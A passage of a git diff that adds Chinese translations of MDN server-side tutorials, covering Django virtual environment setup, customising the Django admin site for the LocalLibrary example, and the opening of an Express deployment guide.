VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3 +export PROJECT_HOME=$HOME/Devel +source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh</code></pre> + +<p>你可以使用<code>which virtualenvwrapper.sh</code> 和 <code>which python3</code>命令为你的系统找到正确的安装位置。</p> +</div> + +<p>此处使用和Ubuntu相同的代码行,但是启动文件是主目录中叫做<strong>.bash_profile</strong>的隐藏文件。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>如果找不到<strong>.bash_profile</strong>进行编辑,也可以使用nano在终端中打开它,命令看起来类似于:</p> + +<pre class="notranslate"><code>cd ~ # Navigate to my home directory +ls -la #List the content of the directory. YOu should see .bash_profile +nano .bash_profile # Open the file in the nano text editor, within the terminal +# Scroll to the end of the file, and copy in the lines above +# Use Ctrl+X to exit nano, Choose Y to save the file.</code></pre> +</div> + +<p>然后通过在终端中运行以下命令重载启动文件:</p> + +<pre class="notranslate"><code>source ~/.bashrc</code></pre> + +<p>此时,你应该能看到一些脚本正在运行(和Ubuntu中同样的脚本)。然后你就可以使用 <code>mkvirtualenv</code>命令创建一个新的虚拟环境。</p> + +<h4 id="Windows_10_虚拟环境设置">Windows 10 虚拟环境设置</h4> + +<p>安装 <a href="https://pypi.python.org/pypi/virtualenvwrapper-win" rel="noopener">virtualenvwrapper-win</a> 甚至比设置<em>virtualenvwrapper</em> 更简单,因为你无需配置工具用来存储虚拟环境信息的位置(有一个默认值)。你需要做的只是在命令提示符中运行以下命令:</p> + +<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre> + +<p>然后你就可以使用 <code>mkvirtualenv</code>命令创建一个新的虚拟环境。</p> + +<h3 id="创建虚拟环境">创建虚拟环境</h3> + +<p>一旦你成功安装了<em>virtualenvwrapper</em> 或 <em>virtualenvwrapper-win,</em>那么在所有平台中使用虚拟环境的方法是非常相似的。</p> + +<p>现在你可以使用 <code>mkvirtualenv</code>命令创建一个新的虚拟环境。在运行此命令时,你将看到正在设置的环境(你所看到的只略微与平台相关)。命令完成后,新的虚拟环境将被激活——你能看到提示符的开头就是括号中的环境名称(以下我们展示的是Ubuntu的,但是在Windows/macOS上,末行时相似的|)</p> + +<pre class="notranslate"><code>$ mkvirtualenv my_django_environment + +Running virtualenv with interpreter /usr/bin/python3 +... +virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details +(my_django_environment) ubuntu@ubuntu:~$</code></pre> + +<p>现在你已进入虚拟环境,可以进行Django安装并开始开发。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>从现在开始,在本文(实际上是该模块)中,请假定所有命令都在类似于我们上面设置的Python虚拟环境中运行。</p> +</div> + +<h3 id="使用一个虚拟环境">使用一个虚拟环境</h3> + +<p>您应该知道一些其他有用的命令(在工具的文档中还有更多,但这些是您将经常使用的命令):</p> + +<ul> + <li><code>deactivate</code> —退出当前的Python虚拟环境</li> + <li><code>workon</code> — 列出可用的所有虚拟环境</li> + <li><code>workon name_of_environment</code> —激活特定的Python虚拟环境</li> + <li><code>rmvirtualenv name_of_environment</code> — 移除特定的虚拟环境</li> +</ul> + +<div class="blockIndicator note"></div> + +<h2 id="安装Django">安装Django</h2> + +<p>一旦你创建了一个虚拟环境,并且使用<code>workon</code> 进入了它,就可以使用pip3来安装Django。</p> + +<pre class="notranslate">pip3 install django</pre> + +<p>您可以通过运行以下命令来测试Django是否安装(这只是用来测试Python是否可以找到Django模块):</p> + +<pre class="notranslate"># Linux/macOS +python3 -m django --version + 1.10.10 + +# Windows +py -3 -m django --version + 1.10.10 +</pre> + +<div class="note"> +<p><strong style='background-color: #fff3d4; border: 0px; color: #333333; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 18px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'><font><font>注意</font></font></strong><font><font>:</font></font>如果上面的Windows命令没有显示django模块,请尝试:</p> + +<pre class="notranslate"><code>py -m django --version</code></pre> + +<p>在Windows中,Python 3脚本是通过在命令前面加上<code>py -3</code>来启动的,尽管该脚本可能会因您的特定安装而有所不同。 如果遇到命令问题,请尝试省略<code>-3</code>修饰符。 在Linux /macOS中,命令是python3。</p> +</div> + +<div class="warning"> +<p>重要提示:本模块的其余部分使用Linux命令来调用Python 3(<code>python3</code>)。如果您在Windows上工作,只需将此前缀替换为: <code>py -3</code></p> +</div> + +<h2 id="测试你的安装">测试你的安装</h2> + +<p>上面的测试工作并不是很有趣。一个更有趣的测试是创建一个框架项目并查看它的工作情况。要做到这一点,先在你的命令提示符/终端导航到你想存储你<strong>Django</strong>应用程序的位置。为您的测试站点创建一个文件夹并进入其中。</p> + +<pre class="notranslate">mkdir django_test +cd django_test +</pre> + +<p>然后,您可以像所展示的一样使用django-admin工具创建一个名为“<em> mytestsite </em>” 的新框架站点。创建网站后,您可以CD到此文件夹,并将在其中找到管理项目的主要脚本,名为<strong>manage.py</strong>。</p> + +<pre class="notranslate">django-admin startproject mytestsite +cd mytestsite</pre> + +<p>我们可以在这个文件夹中使用<strong>manager.py</strong>和<code>runserver</code>命令运行<em>开发web服务器</em>,如下所示。</p> + +<pre class="notranslate"><code>$ python3 manage.py runserver +Performing system checks... + +System check identified no issues (0 silenced). + +You have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions. +Run 'python manage.py migrate' to apply them. + +December 16, 2018 - 07:06:30 +Django version 2.2.12, using settings 'mytestsite.settings' +Starting development server at http://127.0.0.1:8000/ +Quit the server with CONTROL-C.</code></pre> + +<div class="note"> +<p>注意:上面的命令显示了Linux /macOS命令。您可以忽略关于“15 unapplied migration(s)”的警告!</p> +</div> + +<p>一旦服务器运行,您可以通过本地Web浏览器打开<code>http://127.0.0.1:8000/</code>来查看该站点。你应该看到一个如下所示的网站:</p> + +<p><img alt="The home page of the skeleton Django app." src="https://mdn.mozillademos.org/files/16288/Django_Skeleton_Website_Homepage_2_1.png" style="height: 714px; width: 806px;"></p> + +<ul> +</ul> + +<h2 id="概要">概要</h2> + +<p>现在,你的计算机中已经启动并运行了一个Django开发环境。</p> + +<p>在测试部分,您还简要地了解了如何使用d<code>jango -admin startproject</code>创建一个新的Django网站,并使用开发web服务器(<code>python3 manager .py runserver</code>)在浏览器中运行它。在下一篇文章中,我们将对此过程进行扩展,构建一个简单但完整的web应用程序。</p> + +<h2 id="看看瞧瞧">看看瞧瞧</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/install/">快速安装指南</a>(Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/install/">如何安装Django — 完整指南</a> (Django docs) - 包含有关如何删除Django的信息</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/windows/">如何安装Django在 Windows</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/django/管理站点/index.html b/files/zh-cn/learn/server-side/django/管理站点/index.html new file mode 100644 index 0000000000..d3252d84c5 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/管理站点/index.html @@ -0,0 +1,339 @@ +--- +title: 'Django Tutorial Part 4: Django 管理员站点' +slug: learn/Server-side/Django/管理站点 +translation_of: Learn/Server-side/Django/Admin_site +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div> + +<p class="summary">好了,我们已经为本地图书馆网站 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 创建了模型,我们接下来使用 Django 管理站点去添加 一些 “真“书数据。首先我们展示如何用管理站点注册模型,然后展示如何登录和创建一些数据。本文最后,我们介绍你可以进一步改进管理站点的建议。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>完成: <a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: 使用模型</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>了解关于管理站点的优点与缺点,并且可以使用它为我们模型创建一些记录。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="综述">综述</h2> + +<p>Django管理应用程序可以使用您的模型自动构建可用于创建,查看,更新和删除记录的站点区域。这可以在开发过程中节省大量的时间,从而很容易测试您的模型,并了解您是否拥有正确的数据。根据网站的类型,管理应用程序也可用于管理生产中的数据。Django项目建议仅用于内部数据管理(即仅供管理员或组织内部人员使用),因为以模型为中心的方法不一定是所有用户最好的界面,并且暴露了大量不必要的细节关于模型。</p> + +<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">创建基础项目时,</a>自动完成所有将您的网站中的管理应用程序包含在内的配置文件 (有关所需实际依赖关系的信息 (如有需要请看 <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">Django docs here</a>). 其结果是,你必须做你的模型添加到管理应用程序是 注册 他们。在本文末尾,我们将简要介绍如何进一步配置管理区域以更好地显示我们的模型数据。</p> + +<p>注册模型后,我们将展示如何创建一个新的“超级用户”,登录到该网站,并创建一些书籍,作者,书籍实例和流派。这些将有助于测试我们将在下一个教程中开始创建的视图和模板。</p> + +<h2 id="注册模型">注册模型</h2> + +<p>首先,在目录应用程序(<strong>/locallibrary/catalog/admin.py</strong>)中打开 <strong>admin.py </strong>。此时此刻它看起来像这样—注意它已经导入了django.contrib.admin:</p> + +<pre class="brush: python">from django.contrib import admin + +# Register your models here. +</pre> + +<p>通过将以下文本复制到文件的底部来注册模型。该代码简单地导入模型,调用 <strong>admin.site.register </strong>来注册它们。</p> + +<pre class="brush: python">from .models import Author, Genre, Book, BookInstance + +admin.site.register(Book) +admin.site.register(Author) +admin.site.register(Genre) +admin.site.register(BookInstance) +</pre> + +<div class="note"><strong>注意</strong>: 如果你接受创建模型以表示书籍的自然语言的挑战(<a href="/en-US/docs/Learn/Server-side/Django/Models">see the models tutorial article</a>), 导入并注册。</div> + +<p>这是在网站上注册模型或多模型的简单方法,管理站点是高度可定制的,我们将进一步讨论注册模型的其他方式。</p> + +<h2 id="创建一个超级用户">创建一个超级用户</h2> + +<p>为了登录管理员站点,我们需要启动工作人员状态的用户账户。为了查看和创建记录,我们还需要该用户具有所有对象的记录。你可以创建一个“超级用户”账号,该账号具有完全访问该站点和所有必需的权限可以使用<code>manage.py </code></p> + +<p>调用接下来的命令,在同样的目录下,<code>manage.py 创建超级用户。你将被提示输入用户名,电子邮件地址,和强密码。</code></p> + +<pre class="brush: bash">python3 manage.py createsuperuser +</pre> + +<p>一旦命令完成,一个新超级用户将被添加到数据库。现在重新启动开发服务器,以便我们可以测试登录名:</p> + +<pre class="brush: bash">python3 manage.py runserver +</pre> + +<h2 id="登入并使用该网站">登入并使用该网站</h2> + +<p>登录网站,打开 <code>/admin</code> (e.g. <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>)<br> + 和进入你的新超级用户名和密码凭据(你将被重定向到 登录页面,然后在你进入你的详细信息后回到 <code>/admin</code> URL</p> + +<p>这部分网站展示我们所有的模型,按安装的应用程序分组。你可以点击模型名称来进入到 它所有相关详细记录的页面,你可以进一步点击这些记录进行编辑。你也可以直接点击每个模型旁边的添加链接,开始创建该类型的记录。</p> + +<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p> + +<p>点击图书右侧的添加链接来新建一本书(这将显示一个类似下面的对话框)。注意每个字段标题,使用的小部件的类型以及<strong>help_text</strong>(如果有的话)你要在模型中匹配指定的值。</p> + +<p>输入字段的值,你可以创建一个新的作者或类型通过 按 <code>+</code> 按钮(或者如果你已经创建选项,选择已有的值)。完成后,你可以按 <strong>保存</strong>,<strong>保存并添加另一个</strong>,或<strong>保存并继续编辑</strong>来保存记录。</p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<div class="note"> +<p><strong>注意</strong>: 在这里,我们希望你花费一点时间添加一些书,作者,类型(如: 幻想)到你的应用。确保每个作者和类型都包含几本不同的书籍(这会是你的列表和详细视图在文章系列中后期使用时更有趣)。</p> +</div> + +<p>我们完成添加书籍,在顶部标签中,点击 <strong>Home</strong> 链接将回到主管理页面。然后点击 <strong>Books</strong> 链接显示当前书籍的列表(或其他链接之一,以查看其他型号列表)。现在你已经添加了几本书,列表可能与下面的截图类似。显示每本书的标题;这是书模型 __str__() 方法返回的值,在上一文章中提到。</p> + +<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p> + +<p>从该列表中,您可以通过选中不需要的图书旁边的复选框来删除图书,从“ 操作”下拉列表中选择“ 删除”操作 ,然后按Go按钮。您也可以通过按下ADD BOOK按钮添加新书。</p> + +<p>您可以通过在链接中选择其名称来编辑书籍。一本书的编辑页面如下所示,与“添加”页面几乎相同。主要的区别是页面标题(更改书)和添加 删除,历史和<code>VIEW ON SITE</code>按钮(最后一个按钮出现,因为我们定义了<code>get_absolute_url()</code>我们的模型中的 方法)。</p> + +<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<p>现在回到主页(使用主页链接的导航痕迹),然后查看作者 和类型 列表 - 您应该已经有很多创建从添加新书,但可以自由添加一些更多。</p> + +<p>你不会有任何书籍实例,因为这些不是从图书创建的(虽然你可以从 <strong>BookInstance</strong> - 创建一个书 - 这是ForeignKey字段的性质)。返回主页,然后按关联的添加按钮显示下面的添加书实例屏幕。请注意,全球唯一的ID,可用于单独标识库中单书的副本。</p> + +<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p> + +<p>为你的书创建一些记录。将状态设置为可用于至少一些记录,并为其他记录贷款。如果状态 不可 用,则还设置未来到期日期。</p> + +<p>而已!您现在已经学会了如何 设置和使用管理站点。您还创建书的记录,BookInstance,Genre,和Author 我们就可以一次我们创造我们自己的观点和模板使用。</p> + +<h2 id="高级配置">高级配置</h2> + +<p>Django 使用注册模型的信息为创建基本管理站点做了非常好的工作:</p> + +<ul> + <li>每个模型都有一个单独的记录列表,由使用模型 __str__()<br> + 方法创建的字符串标识,并链接到详细视图/表单进行编辑。默认,视图最上面有一个操作菜单,可用于对记录执行批量删除操作。</li> + <li>进行编辑和添加记录的模型详细记录表单包含 模型的所有字段,以其声明顺序垂直布置。</li> +</ul> + +<p>你可以进一步自定义界面,使它更容易使用,你可以改进的一些想法:</p> + +<ul> + <li>视图列表: + <ul> + <li>添加每个记录显示的其他字段/信息</li> + <li>添加过滤器以根据日期或某些其他选择值(例如图书货款状态)选择列出哪些记录。</li> + <li>在列表视图中的操作菜单中添加其他选项,并选择此菜单在表单上显示的位置。</li> + </ul> + </li> + <li>详细视图 + <ul> + <li>选择要显示(或排除)的字段,以及其顺序,分组,是否可编辑,使用的小部件,方向等。</li> + <li>将相关字段添加到记录以允许内联编辑(例如:添加在创建作者记录时添加和编辑图书记录的功能)。</li> + </ul> + </li> +</ul> + +<p>在本节中,我们将看一些改进本地图书馆界面的更改,其中包括添加更多信息Book和Author 模型列表,以及改进编辑视图的布局。我们不会改变 Language 和 Genre 模拟演示,因为它们只有一个字段,所以这样没有真正的好处。</p> + +<p>你可以 在<a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site </a>中找到所以管理员网站自定义选项的完整参考。</p> + +<h3 id="注册_一个_ModelAdmin_类">注册 一个 ModelAdmin 类</h3> + +<p>在管理界面去改变一个模型的展示方式,当你定义了 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> 类(描述布局)和将其注册到模型中。</p> + +<p>让我们开始作者模型。打开 <strong>admin.py</strong> 在目录应用程序(<strong>/locallibrary/catalog/admin.py</strong>)。注释你的原始注册(前缀为#)在<strong> Author</strong> 模型</p> + +<pre class="brush: js"># admin.site.register(Author)</pre> + +<p>现在添加一个 AuthorAdmin 和注册,如下</p> + +<pre class="brush: python"># Define the admin class +class AuthorAdmin(admin.ModelAdmin): + pass + +# Register the admin class with the associated model +admin.site.register(Author, AuthorAdmin) +</pre> + +<p>我们再为<strong>Book</strong> 添加 <strong>ModelAdmin</strong> 类 和 <strong>BookInstance</strong> 类。我们需要注释我们原始注册:</p> + +<pre class="brush: js">#admin.site.register(Book) +#admin.site.register(BookInstance)</pre> + +<p>现在创建和注册新的模型;为了演示的目的,我们将使用<code>@register 装饰器来注册模型(这和 admin.site.register()</code> 语法作用一样)。</p> + +<pre class="brush: python"># Register the Admin classes for Book using the decorator + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + pass + +# Register the Admin classes for BookInstance using the decorator + +@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + pass +</pre> + +<p>可以看到我们现在 的 类都是空的 (“pass”),所以管理操作并不会改变,我们现在对这些类进行扩展,以定义我们针对模型的管理行为。</p> + +<h3 id="配置列表视图">配置列表视图</h3> + +<p>该 本地图书馆 目前列出的所以作者都使用从模型生成的对象名称的<code>__str__()</code> 方法。如果只是几个作者,这无关紧要。但一旦你有许多作者,这可能会重复。要区分它们,或仅仅因为你想要显示有关每个作者的更多有趣的信息,你可以使用<a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> 向视图添加其他字段。</p> + +<p>用下面的代码替代 你 <strong>AuthorAdmin</strong> 的类。在元组中声明要显示列表中的字段名称以所需的顺序排列,如图(这些和原始模型中指定的名称相同)。</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +</pre> + +<p>重新启动站点并导航到作者列表。现在应该显示上述字段,如下所示:</p> + +<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p> + +<p>对于我们的Book模型,我们将另外显示<strong>author</strong>和<strong>genre</strong>。这author是一个<strong>ForeignKey</strong>字段(一对多)的关系,所以将由<code>__str()__</code>相关记录的值表示。用<strong>BookAdmin</strong>下面的版本替换课程。</p> + +<pre class="brush: python">class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre') +</pre> + +<p>不幸的是,我们不能直接指定 <strong>list_display </strong>中的 <strong>genre</strong> 字段, 因为它是一个<strong>ManyToManyField</strong> (Django可以防止这种情况,因为在这样做时会有大量的数据库访问“成本”)。相反,我们将定义一个 <code>display_genre </code>函数来获取信息作为一个字符串(这是我们上面调用的函数;下面我们将定义它)。</p> + +<div class="note"> +<p>注意:在<strong>genre</strong>这里获取可能不是一个好主意,因为数据库操作的“成本”。我们向您展示了如何在模型中调用函数的其他原因非常有用 - 例如在列表中的每个项目旁边添加一个“ 删除”链接。</p> +</div> + +<p>将以下代码添加到Book模型(<strong>models.py</strong>)中。这将从 genre字段的前三个值(如果存在)创建一个字符串,并创建一个<code>short_description</code>可以在此方法的管理站点中使用的字符串。</p> + +<pre class="brush: python"> def display_genre(self): + """ + Creates a string for the Genre. This is required to display genre in Admin. + """ + return ', '.join([ genre.name for genre in self.genre.all()[:3] ]) + display_genre.short_description = 'Genre' +</pre> + +<p>保存模型并更新管理员后,重新启动站点并转到图书列表页面; 你应该看到像下面这样的书籍清单:</p> + +<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p> + +<p>该Genre模型(和Language模式,如果你定义一个)都有一个单一的领域,所以没有一点为他们创造更多的显示领域的附加模型。</p> + +<div class="note"> +<p>注意:值得更新BookInstance模型列表,至少显示状态和预期的返回日期。我们已经补充说,作为本文末尾的挑战!</p> +</div> + +<h3 id="添加列表过滤器">添加列表过滤器</h3> + +<p>一旦列表中有很多项目,就可以过滤哪些项目被显示出来。这是通过在<code>list_filter</code>属性中列出字段来完成的。用<code>BookInstanceAdmin</code>下面的代码片段替换你当前的 类。</p> + +<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin): +<strong> list_filter = ('status', 'due_back')</strong> +</pre> + +<p>列表视图现在将在右侧包含一个过滤器框。请注意如何选择日期和状态来过滤值:</p> + +<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p> + +<h3 id="整理细节视图布局">整理细节视图布局</h3> + +<p>默认情况下,详细视图按照其在模型中声明的顺序垂直排列所有字段。您可以更改声明的顺序,哪些字段显示(或排除),区段是否用于组织信息,字段是水平还是垂直显示,甚至是管理窗体中使用的编辑窗口小部件。</p> + +<div class="note"> +<p>注意:LocalLibrary模型比较简单,因此我们不需要更改布局; 不管怎样,我们会做一些改变,只是为了向你展示如何。</p> +</div> + +<h4 id="控制哪些字段被显示和布局">控制哪些字段被显示和布局</h4> + +<p>更新您的 <code>AuthorAdmin</code> 类以添加<code>fields</code>行,如下所示(粗体):</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +<strong> fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong> +</pre> + +<p>在<code>fields</code> 属性列表只是要显示在表格上那些领域,如此才能。字段默认情况下垂直显示,但如果您进一步将它们分组在元组中(如上述“日期”字段中所示),则会水平显示。</p> + +<p>重新启动您的应用程序并转到作者详细信息视图 - 现在应该如下所示:</p> + +<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p> + +<div class="note"> +<p>注意:您还可以使用<code>exclude</code>属性来声明要从表单中排除的属性列表(将显示模型中的所有其他属性)。</p> +</div> + +<h4 id="剖切细节视图"><font><font>剖切细节视图</font></font></h4> + +<p>你可以使用 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets</a> 属性添加“部分”以在详细信息表单中对相关的模型信息进行分组。</p> + +<p>在 <code>BookInstance</code>模型中,我们有相关的书是什么(即信息 <code>name,imprint和id</code>),并且当将可用(<code>status,due_back</code>)。我们可以通过将粗体文本添加到我们的<code>BookInstanceAdmin</code>类中来将其添加到不同的部分 。</p> + +<pre class="brush: python">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_filter = ('status', 'due_back') + +<strong> fieldsets = ( + (None, { + 'fields': ('book','imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back') + }), + )</strong></pre> + +<p>每个部分都有自己的标题(或者None如果你不想要一个标题)和字典中的一个相关的元组 - 描述的格式很复杂,但是如果你看上面的代码片段,那么它们很容易理解。</p> + +<p>重新启动并导航到书籍实例视图; 表格应如下所示:</p> + +<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p> + +<h3 id="关联记录的内联编辑"><font><font>关联记录的内联编辑</font></font></h3> + +<p>有时,可以同时添加关联记录是有意义的。例如,将书籍信息和有关您在同一详细信息页面上的特定副本的信息同时显示可能是有意义的。</p> + +<p>你可以通过声明 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>, 类型 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (水平布局 ) or <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (垂直布局 ,就像默认布局)这样做. 您可以通过在您的以下的粗体中添加以下行,将内容中的<code>BookInstance</code>信息添加到我们的Book详细信息中<code>BookAdmin</code>:</p> + +<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline): + model = BookInstance</strong> + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre') +<strong> inlines = [BooksInstanceInline]</strong> +</pre> + +<p>尝试重新启动您的应用程序,然后查看图书的视图 - 在底部您应该看到与本书相关的图书实例:</p> + +<p><img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p> + +<p>在这种情况下,我们所做的就是声明我们的<code>tablular</code>内联类,它只是从内联模型添加所有字段。您可以为布局指定各种附加信息,包括要显示的字段,其顺序,是否只读等。(有关详细信息,请参阅 <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> ). </p> + +<div class="note"> +<p>注意:这个功能有一些痛苦的限制!在上面的屏幕截图中,我们有三个现有的书籍实例,其次是新的书籍实例的三个占位符(看起来非常相似!)。默认情况下没有备用书实例会更好,只需使用“ 添加另一个书”实例链接添加它们,或者可以<code>BookInstance</code>从这里列出作为不可读的链接。第一个选项可以通过<code>extra</code>在<code>BookInstanceInline</code>模型中将属性设置为0 来完成,自己尝试一下。</p> +</div> + +<h2 id="挑战自己"><span class="highlight-span" style="background-color: #333333; border: 0px; color: #ffffff; font-weight: 400; line-height: 1.25; margin: 0px; padding: 0px 4px;"><font><font>挑战自己</font></font></span></h2> + +<p>我们在本节学到了很多东西,所以现在是时候尝试一些事情了。</p> + +<p>1. 对于 <code>BookInstance</code>列表视图,添加代码以显示书籍,状态,到期日期和ID(而不是默认<code>__str__()</code>文本)。<br> + 2. 添加的在线上市Book项目的Author使用,因为我们做了同样的做法详细视图<code>Book/ BookInstance。</code></p> + +<h2 id="概要">概要</h2> + +<p>而已!您现在已经了解了如何以最简单和改进的形式设置管理站点,如何创建超级用户以及如何导航管理站点以及查看,删除和更新记录。一路上,您创建了一堆书籍,BookInstances,流派和作者,一旦我们创建了自己的视图和模板,我们就可以列出和展示。</p> + +<ul> +</ul> + +<h2 id="进阶阅读">进阶阅读</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/#introducing-the-django-admin">Writing your first Django app, part 2: Introducing the Django Admin</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html b/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html new file mode 100644 index 0000000000..b4802ca3c5 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html @@ -0,0 +1,526 @@ +--- +title: 'Express 教程 7: 部署到生产环境' +slug: learn/Server-side/Express_Nodejs/deployment +tags: + - Express + - Learn + - Node + - 初学者 + - 部署 +translation_of: Learn/Server-side/Express_Nodejs/deployment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">现在你已经创建(并测试)了一个不错的 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">本地图书馆</a> 网站了,你打算把它发布到一个公共网络服务器,这样图书馆职工和网络上的其他成员就可以访问它了。这篇文章总结了你可以怎样找到一台主机部署你的网站,以及你需要为站点准备到生产环境做什么。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>完成前面所有的指南主题,包括 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a>.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习你可以怎样以及在哪里部署一个Express 应用到生产环境。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>一旦您的站点完成(或完成“足够”以开始公共测试),您将需要将其托管在比您的个人开发计算机,更公开和可访问的地方。</p> + +<p>到目前为止,您一直在<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">开发环境</a>中工作,使用 Express / Node 作为Web服务器,将您的站点共享到本地浏览器/网络,并使用(不安全的)开发设置运行您的网站,以显示调试和其他私人信息。在您可以在外部托管网站之前,您首先必须:</p> + +<ul> + <li>选择托管Express 应用程序的环境。</li> + <li>对项目设置进行一些更改。</li> + <li>设置生产级别的基础架构,以服务您的网站。</li> +</ul> + +<p>本教程提供了,有关选择托管站点的选项的一些指导,简要概述了为使您的Express 应用程序准备好生产,所需执行的操作,以及如何将LocalLibrary 网站安装到 <a href="https://www.heroku.com/">Heroku</a>云托管上的工作示例服务。</p> + +<p>请记住,您不必使用Heroku - 还有其他托管服务可用。我们还提供了一个单独的教程,以展示如何在 <a 